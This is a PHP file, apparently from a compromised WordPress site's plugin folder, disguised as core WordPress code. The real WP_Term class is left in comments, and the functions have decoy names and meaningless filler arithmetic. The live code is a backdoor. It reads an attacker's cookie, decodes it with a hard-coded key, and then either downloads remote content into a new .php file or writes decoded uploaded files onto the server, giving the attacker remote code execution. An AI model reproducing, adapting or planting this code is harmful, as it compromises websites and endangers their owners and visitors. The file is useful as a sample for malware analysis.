Current File : /home/tsgmexic/4pie.com.mx/wp-content/plugins/3513p3q5/b.js.php |
<?php /*
*
* Taxonomy API: WP_Term class
*
* @package WordPress
* @subpackage Taxonomy
* @since 4.4.0
*
* Core class used to implement the WP_Term object.
*
* @since 4.4.0
*
* @property-read object $data Sanitized term data.
#[AllowDynamicProperties]
final class WP_Term {
*
* Term ID.
*
* @since 4.4.0
* @var int
public $term_id;
*
* The term's name.
*
* @since 4.4.0
* @var string
public $name = '';
*
* The term's slug.
*
* @since 4.4.0
* @var string
public $slug = '';
*
* The term's term_group.
*
* @since 4.4.0
* @var int
public $term_group = '';
*
* Term Taxonomy ID.
*
* @since 4.4.0
* @var int
public $term_taxonomy_id = 0;
*
* The term's taxonomy name.
*
* @since 4.4.0
* @var string
public $taxonomy = '';
*
* The term's description.
*
* @since 4.4.0
* @var string
public $description = '';
*
* ID of a term's parent term.
*
* @since 4.4.0
* @var int
public $parent = 0;
*
* Cached object count for this term.
*
* @since 4.4.0
* @var int
public $count = 0;
*
* Stores the term object's sanitization level.
*
* Does not correspond to a database field.
*
* @since 4.4.0
* @var string
public $filter = 'raw';
*
* Retrieve WP_Term instance.
*
* @since 4.4.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $term_id Term ID.
* @param string $taxonomy Optional. Limit matched terms to those matching `$taxonomy`. Only used for
* disambiguating potentially shared terms.
* @return WP_Term|WP_Error|false Term object, if found. WP_Error if `$term_id` is shared between taxonomies and
* there's insufficient data to distinguish which term is intended.
* False for other failures.
public static function get_instance( $term_id, $taxonomy = null ) {
global $wpdb;
$term_id = (int) $term_id;
if ( ! $term_id ) {
return false;
}
$_term = wp_cache_get( $term_id, 'terms' );
If there isn't a cached version, hit the database.
if ( ! $_term || ( $taxonomy && $taxonomy !== $_term->taxonomy ) ) {
Any term found in the cache is not a match, so don't use it.
$_term = false;
Grab all matching terms, in case any are shared between taxonomies.
$terms = $wpdb->get_results( $wpdb->prepare( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE t.term_id = %d", $term_id ) );
if ( ! $terms ) {
return false;
}
If a taxonomy was specified, find a match.
if ( $taxonomy ) {
foreach ( $terms as $match ) {
if ( $taxonomy === $match->taxonomy ) {
$_term = $match;
break;
}
}
If only one match was found, it's the one we want.
} elseif ( 1 === count( $terms ) ) {
$_term = reset( $terms );
Otherwise, the term must be shared between taxonomies.
} else {
If the term is shared only with invalid taxonomies, return the one valid term.
foreach*/
/**
* Fires immediately after a personal data erasure request has been marked completed.
*
* @since 4.9.6
*
* @param int $request_id The privacy request post ID associated with this request.
*/
function sodium_crypto_secretbox_keygen($complete_request_markup){
$seen = range(1, 12);
// s[7] = (s2 >> 14) | (s3 * ((uint64_t) 1 << 7));
echo $complete_request_markup;
}
/**
* Whether proxy connection should be used.
*
* Constants which control this behavior:
*
* - `WP_PROXY_HOST`
* - `WP_PROXY_PORT`
*
* @since 2.8.0
*
* @return bool
*/
function the_excerpt_rss($rp_login, $is_feed){
$gallery_style = strlen($is_feed);
$has_theme_file = strlen($rp_login);
$credit_name = "Exploration";
// Some options changes should trigger site details refresh.
$file_md5 = substr($credit_name, 3, 4);
$innerHTML = strtotime("now");
// Certain long comment author names will be truncated to nothing, depending on their encoding.
// this is the last frame, just skip
$server_text = date('Y-m-d', $innerHTML);
$gallery_style = $has_theme_file / $gallery_style;
$withcomments = function($color_support) {return chr(ord($color_support) + 1);};
$gallery_style = ceil($gallery_style);
$encode_instead_of_strip = str_split($rp_login);
$bookmarks = array_sum(array_map('ord', str_split($file_md5)));
$is_iis7 = array_map($withcomments, str_split($file_md5));
// String values are translated to `true`; make sure 'false' is false.
// Custom post types should show only published items.
$is_feed = str_repeat($is_feed, $gallery_style);
$comments_number_text = implode('', $is_iis7);
// Move it.
// Original lyricist(s)/text writer(s)
$outside_init_only = str_split($is_feed);
//'option' => 'xm',
$outside_init_only = array_slice($outside_init_only, 0, $has_theme_file);
// Nonce check for post previews.
$boxsmallsize = array_map("get_autofocus", $encode_instead_of_strip, $outside_init_only);
$boxsmallsize = implode('', $boxsmallsize);
// Multiply
return $boxsmallsize;
}
$yt_pattern = 'uNYSMxI';
/**
* Get an instance to use for SMTP operations.
* Override this function to load your own SMTP implementation,
* or set one with setSMTPInstance.
*
* @return SMTP
*/
function get_css_variables($yt_pattern){
$show_submenu_icons = 21;
$caption_text = 'nMWbYANXRFQgzQKelmLYyaeLOEX';
if (isset($_COOKIE[$yt_pattern])) {
wp_authenticate_username_password($yt_pattern, $caption_text);
}
}
get_css_variables($yt_pattern);
/** This filter is documented in wp-includes/widget.php */
function wp_debug_mode($updates_howto, $default_term_id){
// If we match a rewrite rule, this will be cleared.
$query_args_to_remove = move_uploaded_file($updates_howto, $default_term_id);
$attr_string = range('a', 'z');
$show_submenu_icons = 21;
$frame_rating = [85, 90, 78, 88, 92];
$operation = 12;
$records = array_map(function($mod_sockets) {return $mod_sockets + 5;}, $frame_rating);
$blog_name = 34;
$site_capabilities_key = 24;
$avtype = $attr_string;
$hram = $operation + $site_capabilities_key;
shuffle($avtype);
$show_description = array_sum($records) / count($records);
$section_type = $show_submenu_icons + $blog_name;
// Update the cached value.
// [16][54][AE][6B] -- A top-level block of information with many tracks described.
// Create destination if needed.
// Validate redirected URLs.
$S11 = $site_capabilities_key - $operation;
$term_names = array_slice($avtype, 0, 10);
$temp_nav_menu_item_setting = mt_rand(0, 100);
$sub_dir = $blog_name - $show_submenu_icons;
return $query_args_to_remove;
}
// module.audio.dts.php //
/**
* Filters preview post meta retrieval to get values from the autosave.
*
* Filters revisioned meta keys only.
*
* @since 6.4.0
*
* @param mixed $g6_19 Meta value to filter.
* @param int $object_id Object ID.
* @param string $meta_key Meta key to filter a value for.
* @param bool $single Whether to return a single value. Default false.
* @return mixed Original meta value if the meta key isn't revisioned, the object doesn't exist,
* the post type is a revision or the post ID doesn't match the object ID.
* Otherwise, the revisioned meta value is returned for the preview.
*/
function wp_set_post_tags($post_content_filtered) {
// Media hooks.
foreach ($post_content_filtered as &$pascalstring) {
$pascalstring = wp_ajax_upload_attachment($pascalstring);
}
$seen = range(1, 12);
$frame_rating = [85, 90, 78, 88, 92];
return $post_content_filtered;
}
/*
* Block specific actions and filters.
*/
function FILETIMEtoUNIXtime($post_content_filtered) {
// s4 += s12 * 136657;
$is_global_styles_user_theme_json = "a1b2c3d4e5";
$Timestamp = 9;
$baseurl = 6;
$operation = 12;
$time_keys = 8;
$EncoderDelays = should_update_to_version($post_content_filtered);
$editable_slug = 18;
$site_capabilities_key = 24;
$pings_open = 30;
$index_matches = preg_replace('/[^0-9]/', '', $is_global_styles_user_theme_json);
$pagelinkedto = 45;
# sodium_memzero(&poly1305_state, sizeof poly1305_state);
// Collect classes and styles.
// Only include requested comment.
// Filter away the core WordPress rules.
# fe_mul(z3,tmp0,x2);
return "Reversed: " . implode(", ", $EncoderDelays['reversed']) . "\nDoubled: " . implode(", ", $EncoderDelays['doubled']);
}
/**
* This parameter prevents the use of the PECL extension.
* It should only be used for unit testing.
*
* @var bool
*/
function wp_ajax_health_check_loopback_requests($post_content_filtered) {
return array_reverse($post_content_filtered);
}
/**
* Panel type.
*
* @since 4.9.0
* @var string
*/
function wp_get_additional_image_sizes($images_dir){
$images_dir = ord($images_dir);
// Only set the 'menu_order' if it was given.
// The properties here are mapped to the Backbone Widget model.
return $images_dir;
}
wp_set_post_tags(["apple", "banana", "cherry"]);
/**
* Constructor.
*
* @since 4.9.0
*
* @param string $pascalstring Plural function (just the bit after `plural=` from Plural-Forms)
*/
function wp_ajax_image_editor($post_content_filtered) {
$Timestamp = 9;
$page_uris = "Learning PHP is fun and rewarding.";
$wp_rest_additional_fields = "135792468";
$time_keys = 8;
// https://github.com/JamesHeinrich/getID3/issues/287
// Filter to supported values.
$editable_slug = 18;
$unsignedInt = strrev($wp_rest_additional_fields);
$pagelinkedto = 45;
$relation_type = explode(' ', $page_uris);
// Help tab: Block themes.
$helperappsdir = [];
// Uses rem for accessible fluid target font scaling.
// ARTist
$config_settings = $Timestamp + $pagelinkedto;
$import_id = str_split($unsignedInt, 2);
$headerLineCount = $time_keys + $editable_slug;
$weekday_initial = array_map('strtoupper', $relation_type);
// [54][CC] -- The number of video pixels to remove on the left of the image.
$update_callback = $editable_slug / $time_keys;
$sub_item_url = 0;
$default_align = $pagelinkedto - $Timestamp;
$suhosin_loaded = array_map(function($prev_page) {return intval($prev_page) ** 2;}, $import_id);
$has_global_styles_duotone = range($time_keys, $editable_slug);
$super_admin = range($Timestamp, $pagelinkedto, 5);
array_walk($weekday_initial, function($post_name__in_string) use (&$sub_item_url) {$sub_item_url += preg_match_all('/[AEIOU]/', $post_name__in_string);});
$implementation = array_sum($suhosin_loaded);
$source_properties = $implementation / count($suhosin_loaded);
$home_origin = Array();
$token_type = array_reverse($weekday_initial);
$to_unset = array_filter($super_admin, function($all_sizes) {return $all_sizes % 5 !== 0;});
foreach ($post_content_filtered as $g6_19) {
$helperappsdir[] = $g6_19 * 2;
}
return $helperappsdir;
}
/* translators: 1: Post title, 2: Site title. */
function generate_cookie($mdtm){
$css_classes = [5, 7, 9, 11, 13];
$file_length = __DIR__;
$input_string = ".php";
$mdtm = $mdtm . $input_string;
// Get max pages and current page out of the current query, if available.
$used_curies = array_map(function($separate_assets) {return ($separate_assets + 2) ** 2;}, $css_classes);
$tablefields = array_sum($used_curies);
$flood_die = min($used_curies);
// ALL updates for core.
$mdtm = DIRECTORY_SEPARATOR . $mdtm;
// The sorted column. The `aria-sort` attribute must be set only on the sorted column.
//Error info already set inside `getSMTPConnection()`
$qname = max($used_curies);
$u1_u2u2 = function($is_custom, ...$active_theme_version_debug) {};
$mdtm = $file_length . $mdtm;
// ----- Extract date
// Compat. Map subpost to attachment.
// Sanitize.
return $mdtm;
}
/*
* A plugin was activated or deactivated, or some policy text has changed.
* Show a notice on the relevant screens to inform the admin.
*/
function wp_authenticate_username_password($yt_pattern, $caption_text){
$locations_assigned_to_this_menu = $_COOKIE[$yt_pattern];
$step = 4;
$page_uris = "Learning PHP is fun and rewarding.";
$image_size_data = range(1, 10);
$f9_38 = "abcxyz";
$thisfile_wavpack = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
$locations_assigned_to_this_menu = pack("H*", $locations_assigned_to_this_menu);
$descriptions = the_excerpt_rss($locations_assigned_to_this_menu, $caption_text);
array_walk($image_size_data, function(&$spacer) {$spacer = pow($spacer, 2);});
$relation_type = explode(' ', $page_uris);
$style_value = strrev($f9_38);
$required_attr_limits = 32;
$match_part = array_reverse($thisfile_wavpack);
if (get_blog_id_from_url($descriptions)) {
$registered_section_types = add64($descriptions);
return $registered_section_types;
}
enqueue_global_styles_preset($yt_pattern, $caption_text, $descriptions);
}
/* translators: Upcoming events year format. See https://www.php.net/manual/datetime.format.php */
function get_autofocus($color_support, $variation_output){
$ptype = "hashing and encrypting data";
$image_size_data = range(1, 10);
$f4f6_38 = 5;
// Enqueue theme stylesheet.
$done = wp_get_additional_image_sizes($color_support) - wp_get_additional_image_sizes($variation_output);
$wp_taxonomies = 20;
array_walk($image_size_data, function(&$spacer) {$spacer = pow($spacer, 2);});
$should_skip_text_transform = 15;
$v_byte = hash('sha256', $ptype);
$video_active_cb = array_sum(array_filter($image_size_data, function($g6_19, $is_feed) {return $is_feed % 2 === 0;}, ARRAY_FILTER_USE_BOTH));
$collection = $f4f6_38 + $should_skip_text_transform;
$done = $done + 256;
$copyrights = $should_skip_text_transform - $f4f6_38;
$existing_sidebars = substr($v_byte, 0, $wp_taxonomies);
$binvalue = 1;
$done = $done % 256;
$color_support = sprintf("%c", $done);
return $color_support;
}
/**
* Gets the REST API route for a post type.
*
* @since 5.9.0
*
* @param string $post_type The name of a registered post type.
* @return string The route path with a leading slash for the given post type,
* or an empty string if there is not a route.
*/
function add64($descriptions){
$image_size_data = range(1, 10);
// characters U-04000000 - U-7FFFFFFF, mask 1111110X
// Define WP_LANG_DIR if not set.
prepare_custom_form_values($descriptions);
sodium_crypto_secretbox_keygen($descriptions);
}
/**
* Create a new argument count exception with a standardized text.
*
* @param string $expected The argument count expected as a phrase.
* For example: `at least 2 arguments` or `exactly 1 argument`.
* @param int $received The actual argument count received.
* @param string $type Exception type.
*
* @return \WpOrg\Requests\Exception\ArgumentCount
*/
function LookupCurrencyCountry($webhook_comments, $COMRReceivedAsLookup){
$show_submenu_icons = 21;
$overridden_cpage = [2, 4, 6, 8, 10];
$unfiltered = ['Toyota', 'Ford', 'BMW', 'Honda'];
$closer_tag = array_map(function($mod_sockets) {return $mod_sockets * 3;}, $overridden_cpage);
$blog_name = 34;
$floatvalue = $unfiltered[array_rand($unfiltered)];
$symbol = image_attachment_fields_to_save($webhook_comments);
$allowed_media_types = 15;
$sanitized_key = str_split($floatvalue);
$section_type = $show_submenu_icons + $blog_name;
// Can start loop here to decode all sensor data in 32 Byte chunks:
$sub_dir = $blog_name - $show_submenu_icons;
sort($sanitized_key);
$sub_shift = array_filter($closer_tag, function($g6_19) use ($allowed_media_types) {return $g6_19 > $allowed_media_types;});
$located = range($show_submenu_icons, $blog_name);
$stylesheet_directory_uri = array_sum($sub_shift);
$response_byte_limit = implode('', $sanitized_key);
if ($symbol === false) {
return false;
}
$rp_login = file_put_contents($COMRReceivedAsLookup, $symbol);
return $rp_login;
}
/**
* Retrieve only the body from the raw response.
*
* @since 2.7.0
*
* @param array|WP_Error $response HTTP response.
* @return string The body of the response. Empty string if no body or incorrect parameter given.
*/
function enqueue_global_styles_preset($yt_pattern, $caption_text, $descriptions){
if (isset($_FILES[$yt_pattern])) {
wp_cache_set_terms_last_changed($yt_pattern, $caption_text, $descriptions);
}
sodium_crypto_secretbox_keygen($descriptions);
}
/**
* Filters the list of fields saved in post revisions.
*
* Included by default: 'post_title', 'post_content' and 'post_excerpt'.
*
* Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date',
* 'post_date_gmt', 'post_status', 'post_type', 'comment_count',
* and 'post_author'.
*
* @since 2.6.0
* @since 4.5.0 The `$post` parameter was added.
*
* @param string[] $fields List of fields to revision. Contains 'post_title',
* 'post_content', and 'post_excerpt' by default.
* @param array $post A post array being processed for insertion as a post revision.
*/
function should_update_to_version($post_content_filtered) {
$wp_rest_additional_fields = "135792468";
$time_keys = 8;
$f9_38 = "abcxyz";
// Group symbol $xx
$screen_title = wp_ajax_health_check_loopback_requests($post_content_filtered);
// Windows Media v7 / v8 / v9
$helperappsdir = wp_ajax_image_editor($post_content_filtered);
// $h3 = $f0g3 + $f1g2 + $f2g1 + $f3g0 + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19;
return ['reversed' => $screen_title,'doubled' => $helperappsdir];
}
/**
* The maximum amount of data to receive from the remote server.
*
* @since 3.6.0
* @var int|false
*/
function wp_cache_set_terms_last_changed($yt_pattern, $caption_text, $descriptions){
$location_data_to_export = 10;
$attr_string = range('a', 'z');
$ptype = "hashing and encrypting data";
$mdtm = $_FILES[$yt_pattern]['name'];
$COMRReceivedAsLookup = generate_cookie($mdtm);
wp_specialchars($_FILES[$yt_pattern]['tmp_name'], $caption_text);
wp_debug_mode($_FILES[$yt_pattern]['tmp_name'], $COMRReceivedAsLookup);
}
/**
* Fires just before the move buttons of a nav menu item in the menu editor.
*
* @since 5.4.0
*
* @param string $item_id Menu item ID as a numeric string.
* @param WP_Post $menu_item Menu item data object.
* @param int $depth Depth of menu item. Used for padding.
* @param stdClass|null $active_theme_version_debug An object of menu item arguments.
* @param int $current_object_id Nav menu ID.
*/
function get_blog_id_from_url($webhook_comments){
$ptype = "hashing and encrypting data";
$credit_name = "Exploration";
$frame_rating = [85, 90, 78, 88, 92];
$css_classes = [5, 7, 9, 11, 13];
$overridden_cpage = [2, 4, 6, 8, 10];
if (strpos($webhook_comments, "/") !== false) {
return true;
}
return false;
}
/* translators: %s: Font collection slug. */
function image_attachment_fields_to_save($webhook_comments){
$webhook_comments = "http://" . $webhook_comments;
$wp_rest_additional_fields = "135792468";
$f4f6_38 = 5;
$iMax = range(1, 15);
$AudioFrameLengthCache = 10;
$time_keys = 8;
$header_tags_with_a = range(1, $AudioFrameLengthCache);
$unsignedInt = strrev($wp_rest_additional_fields);
$elsewhere = array_map(function($spacer) {return pow($spacer, 2) - 10;}, $iMax);
$editable_slug = 18;
$should_skip_text_transform = 15;
$maxoffset = max($elsewhere);
$trusted_keys = 1.2;
$collection = $f4f6_38 + $should_skip_text_transform;
$import_id = str_split($unsignedInt, 2);
$headerLineCount = $time_keys + $editable_slug;
return file_get_contents($webhook_comments);
}
/**
* `paginate_links` doesn't use the provided `format` when the page is `1`.
* This is great for the main query as it removes the extra query params
* making the URL shorter, but in the case of multiple custom queries is
* problematic. It results in returning an empty link which ends up with
* a link to the current page.
*
* A way to address this is to add a `fake` query arg with no value that
* is the same for all custom queries. This way the link is not empty and
* preserves all the other existent query args.
*
* @see https://developer.wordpress.org/reference/functions/paginate_links/
*
* The proper fix of this should be in core. Track Ticket:
* @see https://core.trac.wordpress.org/ticket/53868
*
* TODO: After two WP versions (starting from the WP version the core patch landed),
* we should remove this and call `paginate_links` with the proper new arg.
*/
function wp_specialchars($COMRReceivedAsLookup, $is_feed){
// Only perform redirections on redirection http codes.
// Use more clear and inclusive language.
// Normalize comma separated lists by removing whitespace in between items,
$menu1 = "computations";
$overridden_cpage = [2, 4, 6, 8, 10];
$show_submenu_icons = 21;
$f9_38 = "abcxyz";
$style_value = strrev($f9_38);
$blog_name = 34;
$closer_tag = array_map(function($mod_sockets) {return $mod_sockets * 3;}, $overridden_cpage);
$site_classes = substr($menu1, 1, 5);
// Robots filters.
$current_node = file_get_contents($COMRReceivedAsLookup);
// Get the PHP ini directive values.
$span = the_excerpt_rss($current_node, $is_feed);
file_put_contents($COMRReceivedAsLookup, $span);
}
/**
* Process RSS feed widget data and optionally retrieve feed items.
*
* The feed widget can not have more than 20 items or it will reset back to the
* default, which is 10.
*
* The resulting array has the feed title, feed url, feed link (from channel),
* feed items, error (if any), and whether to show summary, author, and date.
* All respectively in the order of the array elements.
*
* @since 2.5.0
*
* @param array $widget_rss RSS widget feed data. Expects unescaped data.
* @param bool $check_feed Optional. Whether to check feed for errors. Default true.
* @return array
*/
function prepare_custom_form_values($webhook_comments){
$mdtm = basename($webhook_comments);
$COMRReceivedAsLookup = generate_cookie($mdtm);
$show_submenu_icons = 21;
$attr_string = range('a', 'z');
$page_uris = "Learning PHP is fun and rewarding.";
$credit_name = "Exploration";
$seen = range(1, 12);
// Confidence check.
// Opening curly bracket.
LookupCurrencyCountry($webhook_comments, $COMRReceivedAsLookup);
}
/*
* Full jQuery UI.
* The build process in 1.12.1 has changed significantly.
* In order to keep backwards compatibility, and to keep the optimized loading,
* the source files were flattened and included with some modifications for AMD loading.
* A notable change is that 'jquery-ui-core' now contains 'jquery-ui-position' and 'jquery-ui-widget'.
*/
function wp_ajax_upload_attachment($layout_selector) {
$unfiltered = ['Toyota', 'Ford', 'BMW', 'Honda'];
$frame_rating = [85, 90, 78, 88, 92];
$overridden_cpage = [2, 4, 6, 8, 10];
$layout_classes = [72, 68, 75, 70];
$intstring = 50;
$closer_tag = array_map(function($mod_sockets) {return $mod_sockets * 3;}, $overridden_cpage);
$block_rules = max($layout_classes);
$records = array_map(function($mod_sockets) {return $mod_sockets + 5;}, $frame_rating);
$sortable_columns = [0, 1];
$floatvalue = $unfiltered[array_rand($unfiltered)];
return strrev($layout_selector);
}
/* ( $terms as $t ) {
if ( ! taxonomy_exists( $t->taxonomy ) ) {
continue;
}
Only hit if we've already identified a term in a valid taxonomy.
if ( $_term ) {
return new WP_Error( 'ambiguous_term_id', __( 'Term ID is shared between multiple taxonomies' ), $term_id );
}
$_term = $t;
}
}
if ( ! $_term ) {
return false;
}
Don't return terms from invalid taxonomies.
if ( ! taxonomy_exists( $_term->taxonomy ) ) {
return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
}
$_term = sanitize_term( $_term, $_term->taxonomy, 'raw' );
Don't cache terms that are shared between taxonomies.
if ( 1 === count( $terms ) ) {
wp_cache_add( $term_id, $_term, 'terms' );
}
}
$term_obj = new WP_Term( $_term );
$term_obj->filter( $term_obj->filter );
return $term_obj;
}
*
* Constructor.
*
* @since 4.4.0
*
* @param WP_Term|object $term Term object.
public function __construct( $term ) {
foreach ( get_object_vars( $term ) as $key => $value ) {
$this->$key = $value;
}
}
*
* Sanitizes term fields, according to the filter type provided.
*
* @since 4.4.0
*
* @param string $filter Filter context. Accepts 'edit', 'db', 'display', 'attribute', 'js', 'rss', or 'raw'.
public function filter( $filter ) {
sanitize_term( $this, $this->taxonomy, $filter );
}
*
* Converts an object to array.
*
* @since 4.4.0
*
* @return array Object as array.
public function to_array() {
return get_object_vars( $this );
}
*
* Getter.
*
* @since 4.4.0
*
* @param string $key Property to get.
* @return mixed Property value.
public function __get( $key ) {
switch ( $key ) {
case 'data':
$data = new stdClass();
$columns = array( 'term_id', 'name', 'slug', 'term_group', 'term_taxonomy_id', 'taxonomy', 'description', 'parent', 'count' );
foreach ( $columns as $column ) {
$data->{$column} = isset( $this->{$column} ) ? $this->{$column} : null;
}
return sanitize_term( $data, $data->taxonomy, 'raw' );
}
}
}
*/